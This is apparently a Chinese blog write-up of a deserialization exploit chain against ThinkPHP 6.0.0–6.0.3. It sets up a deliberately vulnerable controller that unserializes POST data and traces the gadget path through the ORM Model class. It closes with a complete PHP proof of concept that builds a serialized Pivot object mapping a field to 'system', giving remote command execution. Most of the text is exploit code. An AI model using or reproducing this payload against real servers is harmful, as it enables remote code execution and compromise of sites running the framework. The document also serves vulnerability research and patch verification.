影响范围thinkPHP v6.0.0-6.0.3
下载composer create-project topthink/think=6.0.3 tp6.0
这里好像有个坑点
默认核心安装的为framework=v6.0.9
think-orm=2.0.44
但是到最后面部分代码段已经修复了利用点,所以在部署完成后,需要在composer.json
中,修改核心依赖相关版本,回退更新
"require": {
"php": ">=7.1.0",
"topthink/framework": "6.0.3",
"topthink/think-orm": "2.0.30"
},
然后更新
composer update
首先加个控制器
public function xiaolong(){
highlight_file(__FILE__);
$tmp = $_POST['data'];
echo $tmp;
unserialize($tmp);
}
添加路由
Route::get('xiaolong', 'index/xiaolong');
访问http://127.0.0.1/tp6.0/public/index.php/index/xiaolong
思路是这样的
也就是说前半部分需要可以触发__toString的点,后半部分就是tp5.2.x的反序列化链子
首先入口点在/vendor/topthink/think-orm/src/Model.php
跟进save()
接下来需要的链子如下
save()
↓
updateData()
↓
checkAllowFields()
↓
db()
↓
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);
想要进入updateData()需要让isEmpty()为false,trigger()为true
那么只要$this->data
不为空,$this->withEvent
为false即可
跟进updateData()
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime);
$this->data[$this->updateTime] = $data[$this->updateTime];
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
foreach ($this->relationWrite as $name => $val) {
if (!is_array($val)) {
continue;
}
foreach ($val as $key) {
if (isset($data[$key])) {
unset($data[$key]);
}
}
}
// 模型更新
$db = $this->db();
$db->startTrans();
try {
$this->key = null;
$where = $this->getWhere();
$result = $db->where($where)
->strict(false)
->cache(true)
->setOption('key', $this->key)
->field($allowFields)
->update($data);
$this->checkResult($result);
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
$db->commit();
// 更新回调
$this->trigger('AfterUpdate');
return true;
} catch (\Exception $e) {
$db->rollback();
throw $e;
}
}
trigger()前面已经为true了,checkData()为空方法不用管,直接进入getChangedData(),需要获得一个不为空的data
$this->force=true
即可
接着进入checkAllowFields()
这里将$this->schema
设为空即可进入db()
这里有.
号,当我们进行构造对象进行字符串拼接时,就会触发__toString()
魔术方法
public function toArray(): array
{
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name);
}
return $item;
}
接下来的思路为
toArray()
↓
getAttr()
↓
getValue()
↓
} else {
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
}
要进入getAttr()得满足isset($this->visible[$key])
,而$key
为$data
的键名,也就是说$this->visible
h和$this->data
有相同键名即可,但要注意$val不能设为string,否则会被处理
跟进getAttr()
看一下getData()
最终返回的还是键名$key
对应的键值
$fieldName
依旧为键名$key
,进入大的if后,因为$relation
默认为false,跳过第一个判断,$this->json
同样默认为空,进入else
$this->withAttr
是可控的,这里设为system即可
poc如下
<?php
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace think{
abstract class Model{
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
private $data = array("q"=>"dir");
protected $schema = array();
protected $name;
protected $visible = array("q"=>1);
private $withAttr = array("q"=>"system");
public function setName($newName){
$this->name=$newName;
}
}
}
namespace{
use think\model\Pivot;
$a=new Pivot();
$b=new Pivot();
$a->setName($b);
echo urlencode(serialize($a));
}